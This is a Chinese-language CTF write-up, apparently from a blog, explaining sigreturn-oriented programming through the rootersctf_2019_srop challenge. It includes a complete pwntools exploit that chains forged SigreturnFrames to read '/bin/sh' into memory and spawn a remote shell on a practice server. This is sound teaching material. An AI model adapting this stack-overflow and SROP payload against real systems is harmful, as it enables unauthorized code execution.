srop学习:【rootersctf_2019_srop】

最近学习了一些srop的一些知识,这里通过一道题目来加深一下对srop的运用。

1.srop的简单介绍

这里推荐大家一篇文章srop
SROP全称为Sigreturn Oriented Programming,其攻击核心为通过伪造一个‘Signal Frame’(以下简称sigFrame)在栈上,同时触发sigreturn系统调用,让内核为我们恢复一个sigFrame所描述的进程,如一个shell、一个wrtie系统调用打印栈地址等,同时通过对sigFrame中rsp和rip的修改,连接多个sigFrame,可通过多次触发sigreturn系统调用,依次恢复多个sigFrame,实现不同的功能,构成SROP攻击。一个sigFrame可理解为一个进程被挂起时,用于保存进程的数据结构,当进程恢复时,通过触发sigreturn来恢复sigFrame,从而恢复一个进程。

SROP漏洞之所以能构成利用,是因为内核挂起某进程时保存的sigFrame和内核恢复某进程还原sigFrame的两个sigFrame,通过对栈指针寄存器sp的控制,不一致,从而还原出一个攻击者想要的进程。

srop也是通过这样的方式来攻击目标靶机从而get shell或读取flag的.

2.rootersctf_2019_srop题目

例行检查

在这里插入图片描述
64位程序,栈不可执行。

漏洞分析

在这里插入图片描述
函数的主逻辑:
在这里插入图片描述
可以看到汇编语言可供我们用的代码段不是很多,但注意到存在pop_rax_ret,可以控制rax,结合syscall来进行系统调用,这道题目为静态链接,所以我们不能返回libc来算地址,程序中也不存在system,binsh,我们可以利用srop来构造出一个伪造的栈空间,当系统调用sigreturn后,会利用栈上的数据恢复出一个进程,我们这里就可以构造出一个恶意进程。

思路

1.通过在栈上布局好我们的payload,调用完sigreturn后,让内核为我们恢复出一个read(),
2.我们通过read()将binsh读到data段(因为程序可利用的太少,我们考虑使用data段)
3.之后再通过srop来恢复出一个execv(),从而get shell.

exp分析

调用read():

syscall = 0x401033
main = 0x401000
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x402000 #data
frame.rdx = 0x100
frame.rip = syscall
frame.rbp = 0x402000 + 0x20 #设置一个buf大小,进而再次栈溢出

io.recvuntil('?')

payload = 'A'*0x88
payload += p64(0x401032)#pop_rax
payload += p64(0xf)   #15号调用
payload += str(frame)

gdb.attach(io)
io.sendline(payload)

在这里插入图片描述
系统调用sigreturn,之后会为我们恢复出read().
在这里插入图片描述
binsh地址有了,
在这里插入图片描述

接下来我们就进行execv()的构造,

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x402000
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = 0x401033
payload = '/bin/sh\x00'
payload = payload.ljust(0x28,'A')
payload += p64(0x401032)
payload += p64(0xf)
payload += str(frame)

io.sendline(payload)

在这里插入图片描述
构造好的三个参数,从而get shell.

完整exp
from pwn import *
elf = ELF('./rootersctf_2019_srop')
io = remote('node4.buuoj.cn',29654)
#io = process('./rootersctf_2019_srop')
libc = elf.libc
context.log_level='debug'
context.arch ='amd64'

syscall = 0x401033
main = 0x401000
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x402000 #data
frame.rdx = 0x100
frame.rip = syscall
frame.rbp = 0x402000 + 0x20

io.recvuntil('?')

payload = 'A'*0x88
payload += p64(0x401032)#pop_rax
payload += p64(0xf)
payload += str(frame)


io.sendline(payload)

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x402000
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = 0x401033
payload = '/bin/sh\x00'
payload = payload.ljust(0x28,'A')
payload += p64(0x401032)
payload += p64(0xf)
payload += str(frame)
#gdb.attach(io)

io.sendline(payload)

io.interactive()

在这里插入图片描述
喜提flag!!!

  • 7
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leee333

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值